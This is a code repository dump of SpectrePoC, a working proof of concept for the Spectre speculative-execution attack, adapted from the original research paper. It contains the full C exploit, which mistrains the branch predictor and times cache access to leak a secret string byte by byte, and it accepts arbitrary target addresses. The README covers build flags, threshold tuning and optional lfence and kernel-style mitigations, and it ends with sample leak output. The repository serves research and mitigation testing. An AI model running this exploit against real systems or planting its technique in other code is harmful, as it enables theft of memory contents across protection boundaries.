├── .gitignore ├── Makefile ├── README.md └── spectre.c /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CFLAGS += -std=c99 -O0 2 | 3 | PROGRAM = spectre.out 4 | SOURCE = spectre.c 5 | 6 | all: $(PROGRAM) 7 | 8 | GIT_SHELL_EXIT := $(shell git status --porcelain 2> /dev/null >&2 ; echo $$?) 9 | 10 | # It can be non-zero when not in git repository or git is not installed. 11 | # It can happen when downloaded using github's "Download ZIP" option. 12 | ifeq ($(GIT_SHELL_EXIT),0) 13 | # Check if working dir is clean. 14 | GIT_STATUS := $(shell git status --porcelain) 15 | ifndef GIT_STATUS 16 | GIT_COMMIT_HASH := $(shell git rev-parse HEAD) 17 | CFLAGS += -DGIT_COMMIT_HASH='"$(GIT_COMMIT_HASH)"' 18 | endif 19 | endif 20 | 21 | $(PROGRAM): $(SOURCE) ; $(CC) $(CFLAGS) -o $(PROGRAM) $(SOURCE) 22 | 23 | clean: ; rm -f $(PROGRAM) 24 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SpectrePoC 2 | 3 | Proof of concept code for the Spectre CPU exploit. 4 | 5 | ## Attribution 6 | 7 | The source code originates from the example code provided in the "Spectre Attacks: Exploiting Speculative Execution" paper found here: 8 | 9 | https://spectreattack.com/spectre.pdf 10 | 11 | The original source code used in this repository was conveniently provided by Erik August's gist, found here: https://gist.github.com/ErikAugust/724d4a969fb2c6ae1bbd7b2a9e3d4bb6 12 | 13 | The code has been modified to fix build issues, add workaround for older CPUs, and improve comments where possible. 14 | 15 | ## Building 16 | 17 | The project can be built with GNU Make and GCC. 18 | 19 | On debian these are included in the `build-essential` metapackage. 20 | 21 | Building is as easy as: 22 | 23 | `cd SpectrePoC` 24 | 25 | `make` 26 | 27 | The output binary is `./spectre.out`. 28 | 29 | ### Mitigations 30 | 31 | Several mitigations are available for Spectre. 32 | 33 | These can be can be optionally compiled into the binary in order to test their effectiveness on various processors. 34 | 35 | #### Intel lfence style mitigation 36 | 37 | If you want to build a version with Intel's lfence mitigation included, set your `CFLAGS` 38 | 39 | `CFLAGS=-DINTEL_MITIGATION` 40 | 41 | in the `Makefile` or build like 42 | 43 | `CFLAGS=-DINTEL_MITIGATION make` 44 | 45 | #### Linux kernel style mitigation 46 | 47 | If you want to build a version with Linux kernel array_index_mask_nospec() mitigation included, set your `CFLAGS` 48 | 49 | `CFLAGS=-DLINUX_KERNEL_MITIGATION` 50 | 51 | in the `Makefile` or build like 52 | 53 | `CFLAGS=-DLINUX_KERNEL_MITIGATION make` 54 | 55 | ### Building for older CPUs 56 | 57 | Depending on the CPU, certain instructions will need to be disabled in order for the program to run correctly. 58 | 59 | The instructions in question are: 60 | 61 | #### rdtscp: 62 | 63 | Introduced with x86-64. 64 | All 32-bit only CPUs, including many Core 2 Duos, will need to disable this instruction. 65 | 66 | To build the project without `rdtscp`, define the NORDTSCP cflag: 67 | 68 | `CFLAGS=-DNORDTSCP make` 69 | 70 | #### mfence: 71 | Introduced with SSE2. 72 | Most CPUs pre-Pentium 4 will need to disable this instruction. 73 | 74 | To build the project without `mfence`, define the NOMFENCE cflag: 75 | 76 | `CFLAGS=-DNOMFENCE make` 77 | 78 | #### clflush 79 | Introduced with SSE2. 80 | Most CPUs pre-Pentium 4 will need to disable this instruction. 81 | 82 | To build the project without `clflush`, define the NOCLFLUSH cflag: 83 | 84 | `CFLAGS=-DNOCLFLUSH make` 85 | 86 | #### Multiple cflags 87 | 88 | To define multiple cflags, separate each cflag with an escaped space. For example: 89 | 90 | `CFLAGS=-DNORDTSCP\ -DNOMFENCE\ -DNOCLFLUSH make` 91 | 92 | #### SSE2 instruction set 93 | 94 | To build the project without all of the above instructions introduced with SSE2, define NOSSE2 cflag: 95 | 96 | `CFLAGS=-DNOSSE2 make` 97 | 98 | `NOSSE2` is automatically enabled if the `__SSE__` flag is present but `__SSE2__` is absent. 99 | This means `NOSSE2` shouldn't need to be manually specified when compiling on Clang or GCC on non-SSE2 processors. 100 | 101 | On MSC, `NOSSE2` is automatically enabled if the `_M_IX86_FP` flag is set to `1` (indicating SSE support, but no SSE2 support). 102 | MSC will set this by default for all x86 processors. 103 | 104 | #### 'Target specific option mismatch' error 105 | 106 | Some 32-bit versions of gcc (e.g. the version used in Ubuntu 14.04) may show the following error while compiling the PoC: 107 | 108 | ``` 109 | /usr/lib/gcc/i686-linux-gnu/5/include/emmintrin.h:1479:1: error: 110 | inlining failed in call to always_inline 111 | `_mm_clflush`: target specific option mismatch 112 | _mm_clflush (void const *__A) 113 | ^ 114 | ``` 115 | 116 | In this case architecture build flag `-march=native` is required for compilation for the current CPU: 117 | 118 | `CFLAGS=-march=native make` 119 | 120 | This flag builds the binary specifically for the current CPU and it may crash after copying to another machine. 121 | 122 | ### Building it without using the Makefile 123 | 124 | If you want to build it manually, make sure to disable all optimisations (aka, don't use -O2), as it will break the program. 125 | 126 | ## Executing 127 | 128 | To run spectre with default cache hit threshold of 80, and the secret example string "The Magic Words are Squeamish Ossifrage." as the target, run `./spectre.out` with no command line arguments. 129 | 130 | **Example:** `./spectre.out` 131 | 132 | The cache hit threshold can be specified as the first command line argument. It must be a whole positive integer. 133 | 134 | **Example:** `./spectre.out 80` 135 | 136 | A custom target address and length can be given as the second and third command line arguments, respectively. 137 | 138 | **Example:** `./spectre.out 80 12345678 128` 139 | 140 | ## Tweaking 141 | 142 | If you're getting lackluster results, you may need to tweak the cache hit threshold. This can be done by providing a threshold as the first command line argument. 143 | 144 | While a value of 80 appears to work for most desktop CPUs, a larger value may be required for slower CPUs, and the newest desktop CPUs can go as low as 15. 145 | For example, on an Intel(R) Core(TM) i7-8650U CPU (Surface Book 2), a value of 20 works well. On a slower, integrated AMD GX-412TC SOC (PC Engines APU3), a value of 100-300 was required to get a good result. 146 | 147 | ## Contributing 148 | 149 | Feel free to add your results to the "Results" issue. Include your cache hit threshold, OS details, CPU details like vendor Id, family, model name, stepping, microcode, MHz, and cache size. The OS can be found by running `uname -a`. CPU info can be found by running `cat /proc/cpuinfo` on Linux, and `sysctl -a | grep machdep.cpu` on OSX. 150 | 151 | ## Example output 152 | 153 | The following was output on an Intel(R) Core(TM) i7-8650U CPU, with a cache hit threshold of 20: 154 | 155 | `./spectre.out 20:` 156 | 157 | ``` 158 | Version: commit 04c47db298920eb4d1b7c1bafcd0017a72d415bc 159 | Using a cache hit threshold of 20. 160 | Build: RDTSCP_SUPPORTED MFENCE_SUPPORTED CLFLUSH_SUPPORTED INTEL_MITIGATION_DISABLED LINUX_KERNEL_MITIGATION_DISABLED 161 | Reading 40 bytes: 162 | Reading at malicious_x = 0xffffffffffdfeeb8... Success: 0x54=’T’ score=187 (second best: 0x00=’?’ score=92) 163 | Reading at malicious_x = 0xffffffffffdfeeb9... Unclear: 0x68=’h’ score=967 (second best: 0x00=’?’ score=486) 164 | Reading at malicious_x = 0xffffffffffdfeeba... Unclear: 0x65=’e’ score=985 (second best: 0x00=’?’ score=566) 165 | Reading at malicious_x = 0xffffffffffdfeebb... Unclear: 0x20=’ ’ score=965 (second best: 0x00=’?’ score=659) 166 | Reading at malicious_x = 0xffffffffffdfeebc... Unclear: 0x4D=’M’ score=978 (second best: 0x00=’?’ score=700) 167 | Reading at malicious_x = 0xffffffffffdfeebd... Unclear: 0x61=’a’ score=967 (second best: 0x00=’?’ score=654) 168 | Reading at malicious_x = 0xffffffffffdfeebe... Success: 0x67=’g’ score=705 (second best: 0x00=’?’ score=345) 169 | Reading at malicious_x = 0xffffffffffdfeebf... Unclear: 0x69=’i’ score=974 (second best: 0x6A=’j’ score=768) 170 | Reading at malicious_x = 0xffffffffffdfeec0... Unclear: 0x63=’c’ score=615 (second best: 0x00=’?’ score=310) 171 | Reading at malicious_x = 0xffffffffffdfeec1... Success: 0x20=’ ’ score=2 172 | Reading at malicious_x = 0xffffffffffdfeec2... Success: 0x57=’W’ score=13 (second best: 0x00=’?’ score=3) 173 | Reading at malicious_x = 0xffffffffffdfeec3... Success: 0x6F=’o’ score=17 (second best: 0x00=’?’ score=1) 174 | Reading at malicious_x = 0xffffffffffdfeec4... Success: 0x72=’r’ score=11 (second best: 0x00=’?’ score=4) 175 | Reading at malicious_x = 0xffffffffffdfeec5... Unclear: 0x64=’d’ score=7 (second best: 0x00=’?’ score=6) 176 | Reading at malicious_x = 0xffffffffffdfeec6... Success: 0x73=’s’ score=31 (second best: 0x00=’?’ score=13) 177 | Reading at malicious_x = 0xffffffffffdfeec7... Unclear: 0x20=’ ’ score=7 (second best: 0x00=’?’ score=6) 178 | Reading at malicious_x = 0xffffffffffdfeec8... Success: 0x61=’a’ score=43 (second best: 0x00=’?’ score=20) 179 | Reading at malicious_x = 0xffffffffffdfeec9... Success: 0x72=’r’ score=189 (second best: 0x00=’?’ score=91) 180 | Reading at malicious_x = 0xffffffffffdfeeca... Success: 0x65=’e’ score=2 181 | Reading at malicious_x = 0xffffffffffdfeecb... Unclear: 0x20=’ ’ score=7 (second best: 0x00=’?’ score=6) 182 | Reading at malicious_x = 0xffffffffffdfeecc... Unclear: 0x53=’S’ score=151 (second best: 0x00=’?’ score=78) 183 | Reading at malicious_x = 0xffffffffffdfeecd... Success: 0x71=’q’ score=57 (second best: 0x00=’?’ score=26) 184 | Reading at malicious_x = 0xffffffffffdfeece... Success: 0x00=’?’ score=5 185 | Reading at malicious_x = 0xffffffffffdfeecf... Success: 0x65=’e’ score=33 (second best: 0x00=’?’ score=14) 186 | Reading at malicious_x = 0xffffffffffdfeed0... Success: 0x61=’a’ score=115 (second best: 0x62=’b’ score=55) 187 | Reading at malicious_x = 0xffffffffffdfeed1... Unclear: 0x6D=’m’ score=21 (second best: 0x00=’?’ score=15) 188 | Reading at malicious_x = 0xffffffffffdfeed2... Unclear: 0x69=’i’ score=961 (second best: 0x6A=’j’ score=593) 189 | Reading at malicious_x = 0xffffffffffdfeed3... Success: 0x73=’s’ score=37 (second best: 0x00=’?’ score=18) 190 | Reading at malicious_x = 0xffffffffffdfeed4... Success: 0x68=’h’ score=253 (second best: 0x00=’?’ score=122) 191 | Reading at malicious_x = 0xffffffffffdfeed5... Unclear: 0x20=’ ’ score=9 (second best: 0x00=’?’ score=5) 192 | Reading at malicious_x = 0xffffffffffdfeed6... Success: 0x4F=’O’ score=315 (second best: 0x00=’?’ score=156) 193 | Reading at malicious_x = 0xffffffffffdfeed7... Success: 0x73=’s’ score=21 (second best: 0x00=’?’ score=8) 194 | Reading at malicious_x = 0xffffffffffdfeed8... Success: 0x73=’s’ score=27 (second best: 0x00=’?’ score=9) 195 | Reading at malicious_x = 0xffffffffffdfeed9... Success: 0x69=’i’ score=51 (second best: 0x00=’?’ score=16) 196 | Reading at malicious_x = 0xffffffffffdfeeda... Success: 0x66=’f’ score=2 197 | Reading at malicious_x = 0xffffffffffdfeedb... Unclear: 0x72=’r’ score=53 (second best: 0x00=’?’ score=31) 198 | Reading at malicious_x = 0xffffffffffdfeedc... Success: 0x61=’a’ score=7 (second best: 0x00=’?’ score=3) 199 | Reading at malicious_x = 0xffffffffffdfeedd... Success: 0x67=’g’ score=2 200 | Reading at malicious_x = 0xffffffffffdfeede... Success: 0x65=’e’ score=2 201 | Reading at malicious_x = 0xffffffffffdfeedf... Success: 0x2E=’.’ score=35 (second best: 0x00=’?’ score=8) 202 | ``` 203 | -------------------------------------------------------------------------------- /spectre.c: -------------------------------------------------------------------------------- 1 | /********************************************************************* 2 | * 3 | * Spectre PoC 4 | * 5 | * This source code originates from the example code provided in the 6 | * "Spectre Attacks: Exploiting Speculative Execution" paper found at 7 | * https://spectreattack.com/spectre.pdf 8 | * 9 | * Minor modifications have been made to fix compilation errors and 10 | * improve documentation where possible. 11 | * 12 | **********************************************************************/ 13 | 14 | #include 15 | #include 16 | #include 17 | #ifdef _MSC_VER 18 | #include /* for rdtsc, rdtscp, clflush */ 19 | #pragma optimize("gt",on) 20 | #else 21 | #include /* for rdtsc, rdtscp, clflush */ 22 | #endif /* ifdef _MSC_VER */ 23 | 24 | /* Automatically detect if SSE2 is not available when SSE is advertized */ 25 | #ifdef _MSC_VER 26 | /* MSC */ 27 | #if _M_IX86_FP==1 28 | #define NOSSE2 29 | #endif 30 | #else 31 | /* Not MSC */ 32 | #if defined(__SSE__) && !defined(__SSE2__) 33 | #define NOSSE2 34 | #endif 35 | #endif /* ifdef _MSC_VER */ 36 | 37 | #ifdef NOSSE2 38 | #define NORDTSCP 39 | #define NOMFENCE 40 | #define NOCLFLUSH 41 | #endif 42 | 43 | /******************************************************************** 44 | Victim code. 45 | ********************************************************************/ 46 | unsigned int array1_size = 16; 47 | uint8_t unused1[64]; 48 | uint8_t array1[16] = { 49 | 1, 50 | 2, 51 | 3, 52 | 4, 53 | 5, 54 | 6, 55 | 7, 56 | 8, 57 | 9, 58 | 10, 59 | 11, 60 | 12, 61 | 13, 62 | 14, 63 | 15, 64 | 16 65 | }; 66 | uint8_t unused2[64]; 67 | uint8_t array2[256 * 512]; 68 | 69 | char * secret = "The Magic Words are Squeamish Ossifrage."; 70 | 71 | uint8_t temp = 0; /* Used so compiler won’t optimize out victim_function() */ 72 | 73 | #ifdef LINUX_KERNEL_MITIGATION 74 | /* From https://github.com/torvalds/linux/blob/cb6416592bc2a8b731dabcec0d63cda270764fc6/arch/x86/include/asm/barrier.h#L27 */ 75 | /** 76 | * array_index_mask_nospec() - generate a mask that is ~0UL when the 77 | * bounds check succeeds and 0 otherwise 78 | * @index: array element index 79 | * @size: number of elements in array 80 | * 81 | * Returns: 82 | * 0 - (index < size) 83 | */ 84 | static inline unsigned long array_index_mask_nospec(unsigned long index, 85 | unsigned long size) 86 | { 87 | unsigned long mask; 88 | 89 | __asm__ __volatile__ ("cmp %1,%2; sbb %0,%0;" 90 | :"=r" (mask) 91 | :"g"(size),"r" (index) 92 | :"cc"); 93 | return mask; 94 | } 95 | #endif 96 | 97 | void victim_function(size_t x) { 98 | if (x < array1_size) { 99 | #ifdef INTEL_MITIGATION 100 | /* 101 | * According to Intel et al, the best way to mitigate this is to 102 | * add a serializing instruction after the boundary check to force 103 | * the retirement of previous instructions before proceeding to 104 | * the read. 105 | * See https://newsroom.intel.com/wp-content/uploads/sites/11/2018/01/Intel-Analysis-of-Speculative-Execution-Side-Channels.pdf 106 | */ 107 | _mm_lfence(); 108 | #endif 109 | #ifdef LINUX_KERNEL_MITIGATION 110 | x &= array_index_mask_nospec(x, array1_size); 111 | #endif 112 | temp &= array2[array1[x] * 512]; 113 | } 114 | } 115 | 116 | 117 | /******************************************************************** 118 | Analysis code 119 | ********************************************************************/ 120 | #ifdef NOCLFLUSH 121 | #define CACHE_FLUSH_ITERATIONS 2048 122 | #define CACHE_FLUSH_STRIDE 4096 123 | uint8_t cache_flush_array[CACHE_FLUSH_STRIDE * CACHE_FLUSH_ITERATIONS]; 124 | 125 | /* Flush memory using long SSE instructions */ 126 | void flush_memory_sse(uint8_t * addr) 127 | { 128 | float * p = (float *)addr; 129 | float c = 0.f; 130 | __m128 i = _mm_setr_ps(c, c, c, c); 131 | 132 | int k, l; 133 | /* Non-sequential memory addressing by looping through k by l */ 134 | for (k = 0; k < 4; k++) 135 | for (l = 0; l < 4; l++) 136 | _mm_stream_ps(&p[(l * 4 + k) * 4], i); 137 | } 138 | #endif 139 | 140 | /* Report best guess in value[0] and runner-up in value[1] */ 141 | void readMemoryByte(int cache_hit_threshold, size_t malicious_x, uint8_t value[2], int score[2]) { 142 | static int results[256]; 143 | int tries, i, j, k, mix_i; 144 | unsigned int junk = 0; 145 | size_t training_x, x; 146 | register uint64_t time1, time2; 147 | volatile uint8_t * addr; 148 | 149 | #ifdef NOCLFLUSH 150 | int junk2 = 0; 151 | int l; 152 | (void)junk2; 153 | #endif 154 | 155 | for (i = 0; i < 256; i++) 156 | results[i] = 0; 157 | for (tries = 999; tries > 0; tries--) { 158 | 159 | #ifndef NOCLFLUSH 160 | /* Flush array2[512*(0..255)] from cache */ 161 | for (i = 0; i < 256; i++) 162 | _mm_clflush( & array2[i * 512]); /* intrinsic for clflush instruction */ 163 | #else 164 | /* Flush array2[256*(0..255)] from cache 165 | using long SSE instruction several times */ 166 | for (j = 0; j < 16; j++) 167 | for (i = 0; i < 256; i++) 168 | flush_memory_sse( & array2[i * 512]); 169 | #endif 170 | 171 | /* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */ 172 | training_x = tries % array1_size; 173 | for (j = 29; j >= 0; j--) { 174 | #ifndef NOCLFLUSH 175 | _mm_clflush( & array1_size); 176 | #else 177 | /* Alternative to using clflush to flush the CPU cache */ 178 | /* Read addresses at 4096-byte intervals out of a large array. 179 | Do this around 2000 times, or more depending on CPU cache size. */ 180 | 181 | for(l = CACHE_FLUSH_ITERATIONS * CACHE_FLUSH_STRIDE - 1; l >= 0; l-= CACHE_FLUSH_STRIDE) { 182 | junk2 = cache_flush_array[l]; 183 | } 184 | #endif 185 | 186 | /* Delay (can also mfence) */ 187 | for (volatile int z = 0; z < 100; z++) {} 188 | 189 | /* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */ 190 | /* Avoid jumps in case those tip off the branch predictor */ 191 | x = ((j % 6) - 1) & ~0xFFFF; /* Set x=0xFFFFFFFFFFFF0000 if j%6==0, else x=0 */ 192 | x = (x | (x >> 16)); /* Set x=-1 if j&6=0, else x=0 */ 193 | x = training_x ^ (x & (malicious_x ^ training_x)); 194 | 195 | /* Call the victim! */ 196 | victim_function(x); 197 | 198 | } 199 | 200 | /* Time reads. Order is lightly mixed up to prevent stride prediction */ 201 | for (i = 0; i < 256; i++) { 202 | mix_i = ((i * 167) + 13) & 255; 203 | addr = & array2[mix_i * 512]; 204 | 205 | /* 206 | We need to accuratly measure the memory access to the current index of the 207 | array so we can determine which index was cached by the malicious mispredicted code. 208 | 209 | The best way to do this is to use the rdtscp instruction, which measures current 210 | processor ticks, and is also serialized. 211 | */ 212 | 213 | #ifndef NORDTSCP 214 | time1 = __rdtscp( & junk); /* READ TIMER */ 215 | junk = * addr; /* MEMORY ACCESS TO TIME */ 216 | time2 = __rdtscp( & junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ 217 | #else 218 | 219 | /* 220 | The rdtscp instruction was instroduced with the x86-64 extensions. 221 | Many older 32-bit processors won't support this, so we need to use 222 | the equivalent but non-serialized tdtsc instruction instead. 223 | */ 224 | 225 | #ifndef NOMFENCE 226 | /* 227 | Since the rdstc instruction isn't serialized, newer processors will try to 228 | reorder it, ruining its value as a timing mechanism. 229 | To get around this, we use the mfence instruction to introduce a memory 230 | barrier and force serialization. mfence is used because it is portable across 231 | Intel and AMD. 232 | */ 233 | 234 | _mm_mfence(); 235 | time1 = __rdtsc(); /* READ TIMER */ 236 | _mm_mfence(); 237 | junk = * addr; /* MEMORY ACCESS TO TIME */ 238 | _mm_mfence(); 239 | time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ 240 | _mm_mfence(); 241 | #else 242 | /* 243 | The mfence instruction was introduced with the SSE2 instruction set, so 244 | we have to ifdef it out on pre-SSE2 processors. 245 | Luckily, these older processors don't seem to reorder the rdtsc instruction, 246 | so not having mfence on older processors is less of an issue. 247 | */ 248 | 249 | time1 = __rdtsc(); /* READ TIMER */ 250 | junk = * addr; /* MEMORY ACCESS TO TIME */ 251 | time2 = __rdtsc() - time1; /* READ TIMER & COMPUTE ELAPSED TIME */ 252 | #endif 253 | #endif 254 | if ((int)time2 <= cache_hit_threshold && mix_i != array1[tries % array1_size]) 255 | results[mix_i]++; /* cache hit - add +1 to score for this value */ 256 | } 257 | 258 | /* Locate highest & second-highest results results tallies in j/k */ 259 | j = k = -1; 260 | for (i = 0; i < 256; i++) { 261 | if (j < 0 || results[i] >= results[j]) { 262 | k = j; 263 | j = i; 264 | } else if (k < 0 || results[i] >= results[k]) { 265 | k = i; 266 | } 267 | } 268 | if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0)) 269 | break; /* Clear success if best is > 2*runner-up + 5 or 2/0) */ 270 | } 271 | value[0] = (uint8_t) j; 272 | score[0] = results[j]; 273 | value[1] = (uint8_t) k; 274 | score[1] = results[k]; 275 | results[0] ^= junk; /* use junk so code above won’t get optimized out*/ 276 | } 277 | 278 | /* 279 | * Command line arguments: 280 | * 1: Cache hit threshold (int) 281 | * 2: Malicious address start (size_t) 282 | * 3: Malicious address count (int) 283 | */ 284 | int main(int argc, 285 | const char * * argv) { 286 | 287 | /* Default to a cache hit threshold of 80 */ 288 | int cache_hit_threshold = 80; 289 | 290 | /* Default for malicious_x is the secret string address */ 291 | size_t malicious_x = (size_t)(secret - (char * ) array1); 292 | 293 | /* Default addresses to read is 40 (which is the length of the secret string) */ 294 | int len = 40; 295 | 296 | int score[2]; 297 | uint8_t value[2]; 298 | int i; 299 | 300 | #ifdef NOCLFLUSH 301 | for (i = 0; i < (int)sizeof(cache_flush_array); i++) { 302 | cache_flush_array[i] = 1; 303 | } 304 | #endif 305 | 306 | for (i = 0; i < (int)sizeof(array2); i++) { 307 | array2[i] = 1; /* write to array2 so in RAM not copy-on-write zero pages */ 308 | } 309 | 310 | /* Parse the cache_hit_threshold from the first command line argument. 311 | (OPTIONAL) */ 312 | if (argc >= 2) { 313 | sscanf(argv[1], "%d", &cache_hit_threshold); 314 | } 315 | 316 | /* Parse the malicious x address and length from the second and third 317 | command line argument. (OPTIONAL) */ 318 | if (argc >= 4) { 319 | sscanf(argv[2], "%p", (void * * )( &malicious_x)); 320 | 321 | /* Convert input value into a pointer */ 322 | malicious_x -= (size_t) array1; 323 | 324 | sscanf(argv[3], "%d", &len); 325 | } 326 | 327 | /* Print git commit hash */ 328 | #ifdef GIT_COMMIT_HASH 329 | printf("Version: commit " GIT_COMMIT_HASH "\n"); 330 | #endif 331 | 332 | /* Print cache hit threshold */ 333 | printf("Using a cache hit threshold of %d.\n", cache_hit_threshold); 334 | 335 | /* Print build configuration */ 336 | printf("Build: "); 337 | #ifndef NORDTSCP 338 | printf("RDTSCP_SUPPORTED "); 339 | #else 340 | printf("RDTSCP_NOT_SUPPORTED "); 341 | #endif 342 | #ifndef NOMFENCE 343 | printf("MFENCE_SUPPORTED "); 344 | #else 345 | printf("MFENCE_NOT_SUPPORTED "); 346 | #endif 347 | #ifndef NOCLFLUSH 348 | printf("CLFLUSH_SUPPORTED "); 349 | #else 350 | printf("CLFLUSH_NOT_SUPPORTED "); 351 | #endif 352 | #ifdef INTEL_MITIGATION 353 | printf("INTEL_MITIGATION_ENABLED "); 354 | #else 355 | printf("INTEL_MITIGATION_DISABLED "); 356 | #endif 357 | #ifdef LINUX_KERNEL_MITIGATION 358 | printf("LINUX_KERNEL_MITIGATION_ENABLED "); 359 | #else 360 | printf("LINUX_KERNEL_MITIGATION_DISABLED "); 361 | #endif 362 | 363 | printf("\n"); 364 | 365 | printf("Reading %d bytes:\n", len); 366 | 367 | /* Start the read loop to read each address */ 368 | while (--len >= 0) { 369 | printf("Reading at malicious_x = %p... ", (void * ) malicious_x); 370 | 371 | /* Call readMemoryByte with the required cache hit threshold and 372 | malicious x address. value and score are arrays that are 373 | populated with the results. 374 | */ 375 | readMemoryByte(cache_hit_threshold, malicious_x++, value, score); 376 | 377 | /* Display the results */ 378 | printf("%s: ", (score[0] >= 2 * score[1] ? "Success" : "Unclear")); 379 | printf("0x%02X=’%c’ score=%d ", value[0], 380 | (value[0] > 31 && value[0] < 127 ? value[0] : '?'), score[0]); 381 | 382 | if (score[1] > 0) { 383 | printf("(second best: 0x%02X=’%c’ score=%d)", value[1], 384 | (value[1] > 31 && value[1] < 127 ? value[1] : '?'), score[1]); 385 | } 386 | 387 | printf("\n"); 388 | } 389 | return (0); 390 | } 391 | --------------------------------------------------------------------------------